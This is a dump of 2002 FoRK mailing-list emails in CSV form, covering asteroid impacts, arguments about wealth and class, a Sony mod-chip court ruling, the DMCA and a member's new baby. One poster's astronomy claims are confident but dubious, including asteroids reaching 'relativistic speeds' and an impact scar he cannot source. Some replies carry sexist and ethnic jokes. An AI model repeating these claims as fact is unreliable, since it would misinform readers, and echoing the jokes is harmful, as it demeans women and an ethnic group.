stingy with respect to all the other sorts of families which, again, perfectly naturally, subdivided mankind. Eliza and I, thinking as halves of a single genius, proposed that the Constitution be amended so as to guarantee that every citizen, no matter how humble or crazy or incompetent or deformed, somehow be given membership in some family as covertly xenophobic and crafty as the one their public servants formed. Good for Eliza and me! Hi ho."" Kurt V Slapstick http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Tom ,"Thu, 25 Jul 2002 17:18:57 -0700",Re: Wear Sunscreen,"Tom wrote: > Eliza and I, thinking as halves of a single genius, proposed that the > Constitution be amended so as to guarantee that every citizen, no matter > how humble or crazy or incompetent or deformed, somehow be given > membership in some family as covertly xenophobic and crafty as the one > their public servants formed. That was Such a Fucking Depressing Book. I must have read it seven or eight times. - Joe Daisy-38 Barrera. -- Left behind the bars Rows of Bishops' heads in jars And a bomb inside a car Spectacular, spectacular http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,"""jono@networkcommand.com"" ",25 Jul 2002 23:00:23 -0400,Re: Asteroids anyone ?,">>>>> ""J"" == Jon O writes: J> So, my theory is that if these near earth rocks are increasing J> so does our chance of discovering the last three were part of a J> swarm of 15 of which 10, 11 and 12 may hit. To actually answer the question, each of the last three reports was hurling down a different ""tube"" so, no, they are not related, but yes, each tube contains an uneven distribution of stuff that only /peaks/ near the biggest chunks. It would actually be pretty amazing to find any repeat visitor still in one piece after it's solar perigee. Space in that neighbourhood is warped like a cheese-grater. We can expect one (or more) really big mother(s), surrounded by lots of cute little 'uns smeared out in the crest of its gravity wave. Another curious artifact of the old-and-periodic rock data is the bigger rocks are on the outer edge of the tubes: Relativistic effects on the redshift/blueshift of the particle solar heating differential on either side of each bit slow the smaller less-massive (and more easily pushed) particles dropping them into lower orbits ... or at least, that's our best theory. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,25 Jul 2002 22:51:21 -0400,Re: Asteroids anyone ?,">>>>> ""J"" == Jon O writes: J> Has anyone considered the fact that these occurrances appear to J> be increasing. I'm aware that maybe more publicity surrounding J> some and certain agencies have been granted more funding, but J> I'd like to see some data which shows if these are increasing J> or not. I've seen data that shows 1200 rocks (TV-set sized and smaller) crashing into the Ottawa skies /every/ /single/ /night/, and that's just the background noise. Plots of that data show us passing through hundreds of 'tubes' of debris, each indicative of some other larger something out there, only a small handful of which have been discovered. This is without even considering the one's headed this way out of the Oort for their First Big Trip. One thing you will just have to get used to is hearing news of a possible collision; we have only started funding the projects to look for these things since Hollywood took an interest with Armageddon, and we have only just recently turned on a bunch of new toys to do automated sky surveys. There are also some new (and very clever) amateur projects co-ordinating multiple telescopes to detect these criters, one of which plans to network dozens of ground based machines around the world. You may remember a few years back the 2028 doomsday story -- consider them good ghost stories, then go back to work. 20,000 years ago, one of them the size of Mt Everest just ever so slightly grazed us and left a scar 400km long in the side of South America before it scooted out into space. First nations people would have been there then, and it would have seriously ruined their day. Orbital elements tell us that our modern technology would have perhaps given us 90-min advance warning. The near-miss earlier this month wasn't seen until it was already past us; we can't detect rocks on their trip behind the Sun, and when they come out slingshot to relativistic speeds, well, it's just too darn late to do much of anything about it. On the inbound trip, even at their max full-moon angle, these things are most often magnitude 16 or way worse, which is many magnitudes fainter than what you see in the deepest dark-skies; no one thought to paint them shiny and white. They day before it ""hits"" my software says NT7 will be magnitude 14 -- it's easier to see the space station. What's worse, the Sun is not a smooth hard spheric marble, it's a twisted gelatinous hunk o' hunk o' burnin' love, so the precise warp curve of space right near it's backside is (ahem) somewhat problematic to compute precisely. It's also spewing considerable plasma flux in all directions, and then there's all these other big gelatinous roaming globs (Saturn, Jupiter, Uranus, Neptune) and some significant roaming rubble (us), and damn it, they are all spinning too, and most of them have a magnetosphere! Shit. Forget it. Learn to play the banjo. Take peppermint Rye-Kee Shee-At-Zoo relaxation therapy and oodles of Ag-nasial I&I-drop suppliments, eat no kind of frozen portion, and floss. Good planets are real hard to find, so enjoy the one you got while it's here. Call your ma. Do an anonymous kindness for your better half, another for a total stranger. Having all the best toys is useless when they all spontaneously combust from a global Wormwood shockwave. You should be diggin' it while it's happenin' Like, just live your life like there's no tomorrow, ok? Don't bank on being able to redeem yourself later. Yeah, sure, Osama could whack you with some nail-coated fuel-air bombs, heck a mis-informed TopGun could do it too, but the Good Lord could do it too, with pure, clean and galactically EnviroFriendly kinetic energy, and He don't stand in line for no Airport Security Check. Hell, fire and brimstone are classically given in the reverse order; best to be on the impact side of the planet. Learn to stop worrying and love the Rock. Besides, the rats and cockroaches will survive, and they already know how to kickstart evolution right back into Enrons, WorldComs and Calcuttas. They even have all our wiring and plumbing diagrams and half of our socks. Are we going to get hit? Yup. When? Every 65 million years and, oh my lord, will you /look/ at the time! Where/what/when? Space is pretty big. Take the largest thing you can imagine, double it, and add 10%: That is just the local pancake region between us and the Sun. There's the whole rest of the disk of the ecliptic and, which is where the NT7 observation came from, it has only recently occurred to the meteor hunters to ""look up"" (or down); almost the first shot looking /out/ of the ecliptic disk, and hoo-whee there's this big sucker on an ""11 tries for a dollar"" close encounter of the smack-em-good kind. This is what I love about astrophysics: we have theories as good as anyone else (way better than psychology), and we debate and argue and expound and conference and bellow and blurt about them, but every time we turn on some new kind of robot sensor device to actually /look/ at Reality, well she slaps us right in the face and says in her best Mae West ""Guess again, boys"" -- no other science gets that chance (ok, maybe some do) and there is nothing, _nothing_ more worthless than last semester's astronomy text. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Thu, 25 Jul 2002 20:41:45 -0700",Re: Asteroids anyone ?,"Gary Lawrence Murphy writes: > 20,000 years ago, one of them the size of Mt Everest just ever so > slightly grazed us and left a scar 400km long in the side of South > America before it scooted out into space. First nations people would > have been there then, and it would have seriously ruined their day. Do you have any further information about this incident that would me find more details on the web? - Gordon http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ","""Joseph S. Barrera III"" ","Thu, 25 Jul 2002 22:48:12 -0700 (PDT)",Re: USA USA WE ARE NUMBER ....six.,"On Thu, 25 Jul 2002, Joseph S. Barrera III wrote: > chris arkenberg wrote: > > Cheers, Adam. > > > > Perhaps people are starting to notice how profit motive drains the > > meaning out of their lives. > > And, having realized that, a lot of them are now having babies. > I can't believe the number of friends at work who are now pregnant > or have already just had their babies. The 9/11 boom is now well underway. Screaming newborns everywhere... - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",chris arkenberg ,"Thu, 25 Jul 2002 23:04:46 -0700 (PDT)",Re: USA USA WE ARE NUMBER ....six.,"On Thu, 25 Jul 2002, chris arkenberg wrote: > Perhaps people are starting to notice how profit motive drains the > meaning out of their lives. Kinda sucks to be an ant farming for the > corporate lords. Funny how most of the rest of the world is more and > more apprehensive towards American Democracy. Drains what? My wallet you mean? America _is_ greed, that's who and what we are. > I just went to DC for the first time. I was awestruck by the > monuments, the words of Thomas Jefferson, the Spirit of Democracy set > in stone. Amazing to think that in little more than 200 years our > government could be so far removed from those honorable principles. > Adam Smith presumed that the marketplace would regulate itself > through morality, good faith, and responsibility. Those old white dudes could never see a world that wasnt ALL deeply religeous (science wasnt up to speed yet). How could you not hold these principles as just how you should act? They got that religeon and government should not be the same thing, they didnt get that when society doesnt have any beliefs are all (capitalism is more atheist then communism ever was) it quickly goes to hell as some people have 100 billion and all the rest have too dolla a day. Having been raised in a generally ethical way, it was a big jump to learn to run a business. Lots of lessions in being ruthless, and a few about being sure to hire large Italians to do debt collection (it works!). > Corporate America seems to feel that those principles stand in the way > of making the real bucks. No shit, really? Seriously, if you're not all about screwing over the customer, there is no place for you in the ruling class, and you certainly cant play the American game. > Ah, socialized medicine. Siestas. 6 week vacation leave. I hear Spain is > nice this time of year... That's living, here we only work, buy, and work more to buy more, like rats on a wheel. I can't wait to be rich enough to move somewhere nice, if they will let me get out alive that is. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,"""Gordon Mohr"" ",26 Jul 2002 01:07:15 -0400,Re: Asteroids anyone ?,">>>>> ""G"" == Gordon Mohr writes: G> Gary Lawrence Murphy writes: >> 20,000 years ago, one of them the size of Mt Everest just ever >> so slightly grazed us and left a scar 400km long in the side of >> South America G> Do you have any further information about this incident that G> would me find more details on the web? Good question. This was covered in one of the amateur rags, maybe Sky and Telescope or even Scienterrific American, long before there was any web to speak of, but you'd think a 400km gash in the Earth would be pretty easy to find ;) I remember it from an issue perhaps in the very late 80's or early 90's. It's interesting to note that NT7 and many other NEO bodies are all on trajectories that approach the Earth from under the ecliptic, so with the Earth tilt, South America becomes a pretty good target. In trying to find you a site through Google, I turned up several different impact sites in Venezuela and Brazil, with ages ranging from 251M to 70 years, but not the 400km gash from the above story. The only google refs I found from that period is one in Arizona (famous impact crater) and another in NM; do wish I had noted the actual South American /country/ that contains the scar; Venezuela sticks in my mind but I can't be certain. http://neo.jpl.nasa.gov/images/meteorcrater.html -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""Jon O."" ","Fri, 26 Jul 2002 11:29:11 +0200 (CEST)",Re: Asteroids anyone ?,"On Thu, 25 Jul 2002, Jon O. wrote: > Has anyone considered the fact that these occurrances appear to > be increasing. I'm aware that maybe more publicity surrounding No, it's just we've started looking. After we've actually started looking for deep infrasound (pressure waves) with a network of stations designed to enforced the nuke test ban treaty we've discovered that pretty big impacts are the norm. Current infrasound stations can detect bolides/meteoroids in ~10 T TNT scale, but some 10 kT events are relatively frequent. A number of people died in the Tunguska event (1908, 10-15 MT), despite it hitting in the middle of nowhere. http://216.239.39.100/search?q=cache:637JrhGDB5gC:www.lpi.usra.edu/meetings/5thMars99/pdf/6081.pdf+bolide+impact+kT+wave&hl=en&ie=UTF-8 In the Earth atmosphere a large number of bright light flashes of energies in light impulse of about 0.1- 1 kt TNT and higher have been registered by USA DoD satellites equipped with photoelectric detectors [9-11]. Intense light impulses are created by impacts of meteoroids disrupted in the atmosphere (mainly at altitudes of about 30-45 km). Several techniques for the assessment of meteor- oid's characteristics from the light curves and heights of peak intensities have been developed [3,12]. Using these techniques the preatmospheric kinetic energy for Fifth International Conference on Mars INITIATION OF SANDSTORMS: I.V.Nemtchinov, O.P.Popova, V.A.Rybakov, V.V.Shuvalov a number of events was determined. The biggest event is the 1 February 1994 with ini- tial energy as high as 30-40 kt TNT (or initial mass of about 400 t). The bright flash with light energy of about 4.5 kt TNT was caused by this meteoroid which deeply penetrated into the atmosphere (at an angle of 45 degrees and velocity of 24 km/s) and disintegrated above at altitudes of about 34 km and 21 km [9,12]. Another famous impact event, the Sikhote-Alin meteor shower (12 February 1947 event), may be compared with the 1 February 1994 event. Initial masses of these meteoroids are probably the same, as well as the angle of trajectory inclination, but the initial velocity of the Sikhote-Alin is almost twice smaller. That caused fragmentation of 1 February 1994 meteoroid at higher altitudes and probably large fragments constitute a smaller part of the pre- breakdown mass in contrast to the Sikhote-Alin event. In a rarefied atmosphere of Mars analogous im- pactors will penetrate into deeper layers of the atmos- phere.They will disintegrate lower 15 km or even reach the planet surface, partially in disrupted form. Only the first disruption would occur if a meteoroid similar to that caused the 1 February 1994 will enter into the Martian atmosphere. And this body would reach the Mars surface as a tense swarm of fragments. The meteoroid similar to that caused the Sikhote-Alin event would hit the surface in a form of large frag- ments due to its low velocity. They will create crater with the size similar to that of the undisrupted meteoroid. http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Fri, 26 Jul 2002 14:40:12 -0400 (EDT)",Sony gets handed a set back in Ausyland,"http://www.abc.net.au/news/justin/weekly/newsnat-26jul2002-53.htm PlayStation owners win copyright case Owners of PlayStation consoles who modify their machines to play games bought overseas have had a win in the Federal Court. Sony Computer Entertainment has failed in its claim that ""chipping"" breaks copyright laws. Sony launched legal proceedings against a Sydney man, Eddy Stevens, for allegedly selling pirated games and also providing and installing modification chips. PlayStation consoles in Australia are different from those in the US and Japan because of the different television formats. The court was told ""chipping"" allows people to play legitimately bought overseas games and copies of games, but also pirated games. The judgement by Federal Court Justice Ronald Sackville says Sony failed to prove that PlayStation consoles have a copyright protection measure installed in the first place and therefore could not rule that a mod chip breaks copyright legislation. Mr Stevens was found to have infringed trademark rules in relation to the pirated games he sold a matter which will come before the court again next month. http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Fri, 26 Jul 2002 14:31:48 -0400 (EDT)",Perens Backs Out of Stunt,"http://www.siliconvalley.com/mld/siliconvalley/business/columnists/dan_gillmor/ejournal/3735855.htm Posted on Thu, Jul. 25, 2002 Copyright Law Thwarts Open Source Confab Demo Posted by Dan Gillmor Bruce Perens was going to demonstrate a modified DVD player at this week's Open Source gathering in San Diego. He'd planned to show (Infoworld) how a DVD player with its regional coding disabled could play DVDs with different regional codes. Perens was going to do this in violation, he believed, of the Digital Millennium Copyright Act, which bans the circumvention of technological methods to protect copyrighted material from uses the owner doesn't want. And the possibility of legal trouble led his employer, Hewlett-Packard, to ask him not to do the demonstration. HP funds Perens to pursue a variety of free software projects. He was willing to take the legal risks himself, he told me today, but HP worried that it would be ""a more juicy target,"" the kind of deep pockets that might make the entertainment cartel drool. In that context it's understandable why HP would be concerned, though I wish the company would take a stand on the right side of this issue. So while Perens is going to talk about the DMCA's pernicious impact on things like free software, he's not going to give his demonstration. A shame, but that's how things are going these days. Hollywood is winning, folks. You are losing. And you'd better start caring http://xent.com/mailman/listinfo/fork",0,1 Ian Andrew Bell ,Owen Byrne ,"Fri, 26 Jul 2002 11:50:51 -0700",Re: USA USA WE ARE NUMBER ....six.,"On Friday, July 26, 2002, at 05:18 AM, Owen Byrne wrote: > employees, and that an awful lot of > corporations have shown that they can't keep track of billions > upon billions of dollars. I think we need to get away from rhetoric that implies that the billions of dollars in hard cash, revenues, and capitalization was ""lost"" somehow. The ruling class, whether you define them as government or business (what's the difference?) knows full well where that money is. It's lining their pockets, buying their hobby ranches, and financing their private jets. Neither has any interest in the welfare of the working class. Of course, none of this is new bits. -Ian. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork ,26 Jul 2002 14:50:47 -0400,Electric Language,"Eric tells me the site is back up, debugged, and ready for comments; it's a first-hand guided tour of McLuhanism and the Internet, from tetrads to teleconferencing. http://home.istar.ca/~jwaddell/McLuhan/ -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,26 Jul 2002 12:19:19 -0700,Re: USA USA WE ARE NUMBER ....six.,"On Fri, 2002-07-26 at 11:50, Ian Andrew Bell wrote: > The ruling class, whether you define them as government or business > (what's the difference?) knows full well where that money is. It's > lining their pockets, buying their hobby ranches, and financing > their private jets. > > Neither has any interest in the welfare of the working class. Yes, and the working class deserves what it gets, and possibly not even that. For the most part, people become wealthy by not being stupid. I always thought ""not being stupid (most of the time)"" was a fairly low bar, but apparently most people can't even manage that. That is really what it all boils down to: There are lots of ignorant and/or stupid people who are quite happy to stay that way, and it is a key causal factor in why things are the way they are. What are you going to do about it? -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Fri, 26 Jul 2002 12:36:28 -0700",Soros' _Open Society_ & cardinal virtues,"Soros, in _Open Society_, says he has a theory that the coevolutionary nature of finance and history mean they are subject to many boom-bust cycles. As a result of having some leisure time after playing them so successfully with Quantum Fund, he now believes that we need to keep our strategies as game players and rule makers distinct: the ends of rule makers can't be so strictly personal as those of game players. Do the cardinal virtues provide a set of restoring forces which allow one to act in balance? temperance - avoid hubris in booms fortitutude - avoid depression in busts prudence - maximize personal utility (as a game player) justice - maximize common good (as a rule maker) -Dave http://xent.com/mailman/listinfo/fork",0,1 Ian Andrew Bell ,James Rogers ,"Fri, 26 Jul 2002 12:49:04 -0700",Re: USA USA WE ARE NUMBER ....six.,"On Friday, July 26, 2002, at 12:19 PM, James Rogers wrote: > On Fri, 2002-07-26 at 11:50, Ian Andrew Bell wrote: >> The ruling class, whether you define them as government or business >> (what's the difference?) knows full well where that money is. It's >> lining their pockets, buying their hobby ranches, and financing >> their private jets. >> >> Neither has any interest in the welfare of the working class. > > Yes, and the working class deserves what it gets, and possibly not even > that. For the most part, people become wealthy by not being stupid. I > always thought ""not being stupid (most of the time)"" was a fairly low > bar, but apparently most people can't even manage that. This isn't particularly well-founded logic. What you're saying is that ""most rich people are smart"" and that the latter is causal to the former. By implication, then, you would say that ""most poor people are stupid"". This is true, statistically, because most people are poor and most people are also stupid. However there's nothing to indicate a causal link there. So being smart isn't the only mechanical requirement to eternal wealth because, obviously, most of the members of this list would be rich. Being smart, for example, has made Stephen Hawking famous and respected, but he's not particularly rich. Jennifer Lopez is by all accounts a complete moron. In fact, spend a weekend in Beverly Hills and you will encounter vast numbers of people who are profoundly stupid driving Rolls Royces and shopping at PRADA. The working class IS the market and the working class IS where wealth is created. The working class makes long-distance calls, buys food processors and computers and clothes, and attaches the value to goods which allows them to be commodified. The working class saves money, buys Retirement Savings Plans, and invests in mutual funds which increases the flow of capital through the investment funnel. The economic system of the first world is designed to strike a delicate balance between incentivizing the ruling class to support wealth-expanding through technological innovation or the development of new markets. At the 100,000 foot level, recessions and depressions are created when more wealth is sucked from the whirlpool than can be supported by the working class through investment and consumption. And the people draining the hot tub are the folks in the ruling class -- people like Ken Lay, Dick Cheney, Bernie Ebbers, et al -- and they simply got too greedy and caused a bubble in the hydraulics that increased the pressure for a time, but ultimately wasn't sustainable. And the money that was lost did not come from the ruling class. It came from the RSP's and the Equity funds and the Investments of individual working class -- people who believed these reports and invested. The wealth of the ruling class was largely pulled out by the time such investments were exposed to the workers. So, is the lower caste necessarily stupid for saving money or investing in retirement plans? I don't think so. Are they stupid for buying clothes and automobiles? I don't think so. At the granular level, the notion that ""most rich people are rich because they're smart"" is so anecdotal and naive that it's not worth arguing about, so I won't. Still, a compelling point worth some clarification. -Ian. http://xent.com/mailman/listinfo/fork",0,1 Tom ,Ian Andrew Bell ,"Fri, 26 Jul 2002 16:09:59 -0400 (EDT)",Re: USA USA WE ARE NUMBER ....six.,"On Fri, 26 Jul 2002, Ian Andrew Bell wrote: --]Being smart, for example, has made Stephen Hawking famous and --]respected, but he's not particularly rich. Bang, you fell right into the trap of Sematic Siezerdom. RICH is a word of many contexts. You can be RICh in wealth, ie raw money, you can be Rich in Wisdom, ala Hawkins, You can be rich with freinds, you can be Rich in emotions........ --]all accounts a complete moron. In fact, spend a weekend in Beverly --]Hills and you will encounter vast numbers of people who are --]profoundly stupid driving Rolls Royces and shopping at PRADA. MOney Rich versus Mental Rich....Equality amongst differnt grains...Why do folks still fall into this trap? --]The working class IS the market and the working class IS where --]wealth is created. In the current ecomony Wealth is created only in TRANPORT of wealth, that is in moving the micro welath of the masses to to macro wealth of the few. 100 million people making phone calls a day that net you 1$ per call makes you a 100millionaire per day (minus operating expenses (real costs of physical value as well as the less physical value of lubricant (taxes, bribes, payoffs, kickbacks)etc) --]And the people draining the hot tub are the folks in the ruling --]class -- people like Ken Lay, Dick Cheney, Bernie Ebbers, et al -- They were put into the rulign cvlass by the mass consess that THEY are amrt fellas who can make us feel good about giveing them the power to tell us how to live our lives (and thus how to feel about ourselves,how to value our worth, how to feel good about being etc etc etc) --]So, is the lower caste necessarily stupid for saving money or --]investing in retirement plans? I don't think so. Are they stupid --]for buying clothes and automobiles? I don't think so. They are STUPID in allowing, heck forcing, the few to stand guard over the many and then pay for the service of being servants to them. --]At the granular level, the notion that ""most rich people are rich --]because they're smart"" is so anecdotal and naive that it's not --]worth arguing about, so I won't. Still, a compelling point worth --]some clarification. At the grainular level it is simply that Those who can con enough folks into giving up thier Choices to a governing body (usualy one they will control) wind up with the most concentration of Wealth (money) and Power(over others) Basicaly we have gone back to being serfs, only we demand nicer hovels. WE demand to have paid for a ruling class lord over us, protect us and bascialy build the castle walls stronger to protect us from all enemys of the status quo both forgien and domestic. If the constitution were allowed to go up for a vite of confiendnce todayI bet it would fall down and go boom.. Too much freedom, too many ways that the INdividual is called on to be thier own guardian...too many demands on the fraility of human nature...much better to errect protectors, let them sort it all out, and tell us what we need to do to be happy. Smart in todays society is having enough Welath, Charm, Will, Power, Knowing etc to Do What You Want. Stupid is living under others rules. (to the stupid the smart are ""stupid"" ""look at them, wasting all thier time on that tomfollery"" ""lords a goshen, aint they the queer ones"" ""would you look at that, some folks just dont have the sense to fit in"") The words Smart and Atupid are the wrong ones here... Lets change them to Indviduals and Sheeple yea that works better for me. tom http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,26 Jul 2002 14:09:19 -0700,Re: USA USA WE ARE NUMBER ....six.,"On Fri, 2002-07-26 at 12:49, Ian Andrew Bell wrote: > This isn't particularly well-founded logic. What you're saying is > that ""most rich people are smart"" and that the latter is causal to > the former. By implication, then, you would say that ""most poor > people are stupid"". This is true, statistically, because most > people are poor and most people are also stupid. I never said that rich people are smart, just less stupid than most other people. And most people who are poor do engage in more reckless and stupid behavior in my experience; the people that are a bit smarter don't stay poor for long, so it is a self-selecting population. Hell, I grew up in as abject a poverty as you can find in the US and I remember quite well why the people that stayed poor were poor -- it certainly wasn't because of The Man. And my parents were poor because they made lots of stupid choices -- I had front row seats to the whole process. Unlike many others, I actually learned from the experience. And I've known a lot of wealthy people (both in a strict monetary sense and general sense), and I can't think of a one that was a fool. People who earned their wealth (i.e. 95+% of the wealthy in the US) didn't manage to do so, and maintain their wealth, because they were fools. It isn't that these people are that much smarter, they just don't make lots of bad decisions and stupid mistakes. Being very smart AND not making lots of stupid mistakes is pretty much a surefire recipe for being wealthy. > Being smart, for example, has made Stephen Hawking famous and > respected, but he's not particularly rich. Jennifer Lopez is by > all accounts a complete moron. In fact, spend a weekend in Beverly > Hills and you will encounter vast numbers of people who are > profoundly stupid driving Rolls Royces and shopping at PRADA. You are using a very narrow definition of ""smart"". Smart doesn't make you rich, it gives you the *choice* to be rich. Many people (e.g. Stephen Hawking) are quite happy merely being comfortable and devote their energy elsewhere than being ""rich"". But I don't know too many really smart people that actually choose to live in poverty. > [...ridiculous caricature of wealthy people elided...] > At the granular level, the notion that ""most rich people are rich > because they're smart"" is so anecdotal and naive that it's not > worth arguing about, so I won't. Still, a compelling point worth > some clarification. It sounds like you've bought into the absurd Hollywood depictions of what wealthy people are like. Hint: they are exactly like you and me, but with a higher net worth. In the U.S., the fact is that two-thirds of the millionaires are blue collar folks who worked very smart and very hard, and the vast majority of all the wealthy in the U.S. are completely self-made (i.e. first-generation wealthy). ""Old wealth"" is incredibly rare in the U.S., as it typically comes and goes within three generations, and the handful that you do hear about are the unusually long-lived exceptions. It's quite simple to become wealthy in the U.S. if you put some effort into it. However, most people prefer to merely be comfortable and expend a lot less energy. Virtually all the people I know who are wealthy are chronic workaholics with above average intelligence and exaggerated amounts of drive. Most people would not consider those people's lives ""fun"", though those people tend to enjoy what they do. -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 Tom ,James Rogers ,"Fri, 26 Jul 2002 17:16:15 -0400 (EDT)",Re: USA USA WE ARE NUMBER ....six.,"On 26 Jul 2002, James Rogers wrote: --]grew up in as abject a poverty as you can find in the US and I remember --]quite well why the people that stayed poor were poor -- it certainly --]wasn't because of The Man. Same here. My folks were both born and raised in a blue color section of the Bronx. I was raised in the same Apt my dad was raised in...a tiny one bedroom place. Both my folks got educated and moved away from the lifestyle of ""in da poor trenches 4 life"" --]Unlike many others, I actually learned from the experience. Yep. I wached as my dad went for his GED then his Bachelors and so on. I watched as both he and my mom worked hard to get out of the place they were. Once thing it taught me, its tough work but if you havea goal then its worth it. --]Stephen Hawking) are quite happy merely being comfortable and devote --]their energy elsewhere than being ""rich"". But I don't know too many --]really smart people that actually choose to live in poverty. Its that language thing again. Rich is a very vast word, its like Salt. If you put it on steak its going to taste differnt then if you season pasta with it. --]It sounds like you've bought into the absurd Hollywood depictions of --]what wealthy people are like. Us Vs THEM, its ages old and the power structures inately know that to keep things goign there way folks need, NEED..heck DEMAND the US vs THEM strugle. So its the Wealthy VS the Poor...the Smart Vs the Stupid...the With vs the Withouts....and all the while those shmucks who go underdog down trodden need only get out of the loop and play a differnt game. http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Sat, 27 Jul 2002 00:44:07 -0400 (EDT)",And Away We go,"Off we go to the hospital Benjamin Wallace Higgins is on his way. -tom http://xent.com/mailman/listinfo/fork",0,1 Chris Arkenberg ,"Tom , ""Adam L. Beberg"" ","Fri, 26 Jul 2002 20:19:49 -0700",Re: USA USA WE ARE NUMBER ....six.,"Good point, Tom. We want to be led. It's much easier to blame our leaders, throw stones at scapegoats, than to actually take responsibility for our actions and think through the consequences. At 11:14 AM 7/26/2002 -0400, Tom wrote: >On Fri, 26 Jul 2002, Tom wrote: > >--]On Thu, 25 Jul 2002, Adam L. Beberg wrote: >--] >--]--]Drains what? My wallet you mean? America _is_ greed, that's who and >what we >--]--]are. >--] >--]You really are about as clueless as a fridge without tcp/ip. > >Before there is a jump off to some thread I cant be around to respond to >(contractions now getting closer and longer and stronger but the kids head >is still a bit off true) let me say this. > >(and this is the short rambling take on America as it stands today, so >flesh it our for me if you want) > >The problem with america is not its goverment, its companies, its >corportate raider mentality, its throw away buy a new one culture, its not >that we are greedy or shallow or over religious or under religious or even >religious in the context of a secular ruling system...... > >The problem with america is its citizens, the things that make it up. We >are not greedy, we are sheep. We are easily led from one trend to the >next, we are diverted in our lives to follow any one of a number of media >induced ""goals"" that run us through commericalistic hoops shedding not >only our worth but our fine grain value as individuals. > >We are a nation of a million differnt parts seeking a homogony of sameness >thru right thought, right action right purcheses right hopes right dreams >right teampicking right listeningtothem right mouthingoftheessentialwords >and right sameness > >We seek to loose the individuality of our past by plunging headlong into >the lava searing melting pot to come out with all our quak spins set the >same as anyone else. > >In so doing we subvert and subject ourselves tothe ""status quo"" in ways >that makes Islam look like an excersise in free will and hippy love >magic. > >We have allowed a subset of our citizens to set the pace for us, mostly >because to set the pace sets you apart and that is a bad thing in the >melting pot society. Thats why the rulers, the trend setters, the rich and >the famous are the THEM. > >We then follow that with THEY set us up to do, we run the various rat >mazes that have been constructed and call this a live, We chase the >cheese, which is green, moldy and made of paper. We climb the moutians set >up as goals. We fight the OTHERS who we are told are evil. In the end we >judge our living on how well we followed one of the mazes and how fat we >are before the slaughter. > >We are the blue collar worker, the office worker, the disability con, the >tech warrior, the homemaker, the godfearing do gooder, the celeb. > >or we are the OTHER, the dont fiters, the Trouble Makers. > >-tom > > > >http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 CDale ,Tom ,"Sat, 27 Jul 2002 06:22:15 -0500 (CDT)",Re: And Away We go,"A true geek. Runs to the puter to post before taking a laboring wife to the hospital. I'd kill you. LOL Grats, Daddy-o! C On Sat, 27 Jul 2002, Tom wrote: > > Off we go to the hospital > > Benjamin Wallace Higgins is on his way. > > -tom > > > http://xent.com/mailman/listinfo/fork > -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",CDale ,"Sat, 27 Jul 2002 15:00:37 -0700 (PDT)",Re: And Away We go,"On Sat, 27 Jul 2002, CDale wrote: > A true geek. Runs to the puter to post before taking a laboring wife to > the hospital. I'd kill you. LOL > Grats, Daddy-o! Fear not poor Tom, between the pain & endorphins and/or massive amounts of drugs, she should remember little of the process. Her body is designed to block out the whole event, so that she can tell other women ""oh having the baby wasnt so bad, you should have one!"". Why else would any woman be willing to EVER have sex. > On Sat, 27 Jul 2002, Tom wrote: > > > > > Off we go to the hospital > > > > Benjamin Wallace Higgins is on his way. > > > > -tom And so passes into the great beyond another FoRKer. Only bagpipes could possibly do justice to a moment like this. See you when the kids hits preschool, which is about the next time you will be sleeping again. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 """Meltsner, Kenneth"" ","CDale , Tom ","Sat, 27 Jul 2002 17:15:30 -0400",RE: And Away We go,"Nope, a true geek would have a Blackberry so he could give us updates *from* the hospital. Ken > -----Original Message----- > From: CDale [mailto:cdale@techmonkeys.net] > Sent: Saturday, July 27, 2002 6:22 AM > > A true geek. Runs to the puter to post before taking a > laboring wife to > the hospital. I'd kill you. LOL > Grats, Daddy-o! > C > > On Sat, 27 Jul 2002, Tom wrote: > > > > > Off we go to the hospital > > > > Benjamin Wallace Higgins is on his way. > > > > -tom http://xent.com/mailman/listinfo/fork",0,1 CDale ,"""Adam L. Beberg"" ","Sat, 27 Jul 2002 17:35:14 -0500 (CDT)",Re: And Away We go,"On Sat, 27 Jul 2002, Adam L. Beberg wrote: > On Sat, 27 Jul 2002, CDale wrote: > > > A true geek. Runs to the puter to post before taking a laboring wife to > > the hospital. I'd kill you. LOL > > Grats, Daddy-o! > > Fear not poor Tom, between the pain & endorphins and/or massive amounts of > drugs, she should remember little of the process. Her body is designed to > block out the whole event, so that she can tell other women 